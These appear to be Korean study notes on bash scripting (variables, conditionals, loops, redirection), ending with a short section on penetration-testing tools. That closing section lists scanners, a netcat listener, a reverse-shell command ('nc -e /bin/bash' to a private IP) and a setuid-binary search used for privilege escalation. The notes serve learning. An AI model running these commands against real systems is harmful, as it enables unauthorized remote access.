Scripts: 반복 작업을 자동화하기 위해서 사용함.
sh: 초기의 유닉스 쉘
ksh : sh를 확장해서 만든 쉘 (콘쉘)
csh : c언어를 기반으로 만든 쉘 (c쉘)
bash : sh과 호환성
shell scripts 작성법
#!/bin/bash - 쉘 선언 (Shebang)
echo "Hello World"
초기에 스크립트는 644권한이라서 755로 변환해주고 실행
변수는 모든 값을 문자열로 저장 (변수 타입 지정안해도 됨)
변수명 앞에 $붙이면 변수사용, test='1234'처럼 공백이 없어야함
echo Mr.${변수명}
함수 function
타입 지정 시 declare
declare -i(int) number
number=3
declare -r(read only) test
test="test"
declare -a(array)
declare -f(float)
shell에서 export hello_world="Test Test"를 준다면
export(환경변수 선언)
hello_world라는 환경변수 선언 다른 스크립트에서도 사용가능
#!/bin/bash
echo "script name : ${0} " # 스크립트 이름
echo "total arg num : ${#}" # 인자 개수
echo "second arg : ${2}" # 두번째 인수
echo "total arg value : ${@}" # 인자 전체
예약 - HOME, PATH, LANG, UID, USER, FUNCNAME, TERN 등
산술 연산
expr -> ``
(( ))
number1=10
number2=20
plus=`expr $number1 + $number2` # 연산자 사이에 공백있어야함
mul=`expr $number1 \* $number2` # 곱만 역슬래쉬 \*
echo "${plus}"
echo "${mul}"
echo "add:$((number1+number2))"
:<<"END"
END # 여러줄 주석
if [ 조건식 ] # 조건식 앞뒤로 공백있어야함
then
수행
else
수행
fi
if [ ${a} -eq ${b} ]; then # -eq -gt 등등
echo "a = b"
fi
if (( ${a} < ${b} )); then
echo "yes"
fi
if [ "${a}" -lt "${b}" ]; then
echo "yes"
elif [ "${a}" -eq "${b}" ]; then
echo "equal"
else
echo "no"
fi
case ${os} in
"linux") echo "Rocky";;
"windows") echo "windows 11";;
"mac") echo "MacOS";;
*) echo "지원하지 않는 OS";;
esac
#반복문
#!/bin/bash
for ((i=1; i<=4; i++)); do
echo "${i}"
done
for x in 1 2 3 4 5; do
echo "${x}"
done
data="1 2 3 4 5"
for x in $data; do
echo "${x}"
done
for num in `seq 1 5`
do
echo $num
done
for num in {1..5}
do
echo $num
done
count=0
while [ ${count} -le 5 ];
do
echo ${count}
count=$(( ${count}+1 ))
done
until [ ${count2} -le 5 ]; # 조건이 거짓일 때
do
echo ${count2}
count2=$(( ${count2} -1 ))
done
`` 명령어로 인식함
# *.txt 파일에 전부 x권한 추가
#!/bin/bash
for file in `ls *.txt`
do
chmod +x $file
echo "${file} ex added"
done
표준입출력
표준입력 - stdin
표준출력 - stdout
표준에러 - stderr
Redirection - 표준입출력 재지정
> -프로그램의 출력을 지정한 출력으로 변경
>> - 프로그램의 출력을 지정한 출력으로 변경한 후 추가
< - 프로그램의 입력을 지정한 입력으로 변경
<< - 프로그램의 입력이 여러 행일 때 사용 - 지정한 문자열이 입력되면 종료
1>&2 -> 정상적인 표준 출력 내용을 표준 에러 출력으로 처리
2>&1 -> 정상적인 표준 오류 내용을 정상 표준 출력으로 처리
arp-scan, nmap, netdiscover. fping 등으로 네트워크 대역 ip 스캔, 포트스캔
gobuster, dirbuster, dirsearch., dirb, dirsearch, owasp zaproxy 등 ,웹 디렉토리 스캔
netcat: 원격접속도구 (리버싱) - 막혀있음 보통 ex) nc -lvnp 4444(port)
nc -e /bin/bash 192.168.16.80 4444
setuid: 실행될 때, 소유자의 권한을 가지게끔 한다.
find / -perm -u=s(setuid) -type f 2>/dev/null - setuid가 적용된 파일 타입의 파일을 루트에서부터 찾고 에러는 지운다.
strace (system call trace) - 프로그램의 시스템 콜을 추적
ltrace (library trace) - 프로그램의 라이브러리 추적